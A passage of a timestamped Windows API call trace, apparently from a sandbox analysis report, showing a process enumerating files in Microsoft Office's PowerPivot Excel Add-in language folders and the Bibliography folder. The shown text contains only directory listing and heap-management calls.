cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.620] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.621] GetProcessHeap () returned 0xaf0000 [0282.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.621] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0282.621] GetProcessHeap () returned 0xaf0000 [0282.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.623] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.623] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.623] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c895d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c895d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c895d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0282.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x694bc43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x694bc43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6971e7c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb91216, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb91216, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf971d6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dcc568, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0282.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.626] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.627] GetProcessHeap () returned 0xaf0000 [0282.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.627] GetProcessHeap () returned 0xaf0000 [0282.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0282.631] GetProcessHeap () returned 0xaf0000 [0282.631] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.631] GetProcessHeap () returned 0xaf0000 [0282.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.634] GetProcessHeap () returned 0xaf0000 [0282.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.634] GetProcessHeap () returned 0xaf0000 [0282.634] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0282.637] GetProcessHeap () returned 0xaf0000 [0282.638] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.638] GetProcessHeap () returned 0xaf0000 [0282.638] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.910] GetProcessHeap () returned 0xaf0000 [0282.910] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.910] GetProcessHeap () returned 0xaf0000 [0282.910] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.914] GetProcessHeap () returned 0xaf0000 [0282.914] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.915] GetProcessHeap () returned 0xaf0000 [0282.915] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.917] GetProcessHeap () returned 0xaf0000 [0282.918] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.918] GetProcessHeap () returned 0xaf0000 [0282.918] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.936] GetProcessHeap () returned 0xaf0000 [0282.936] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.936] GetProcessHeap () returned 0xaf0000 [0282.936] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0282.942] GetProcessHeap () returned 0xaf0000 [0282.942] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.942] GetProcessHeap () returned 0xaf0000 [0282.942] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0282.944] GetProcessHeap () returned 0xaf0000 [0282.944] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0282.945] GetProcessHeap () returned 0xaf0000 [0282.945] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0282.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0282.946] GetProcessHeap () returned 0xaf0000 [0282.946] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0282.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.947] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 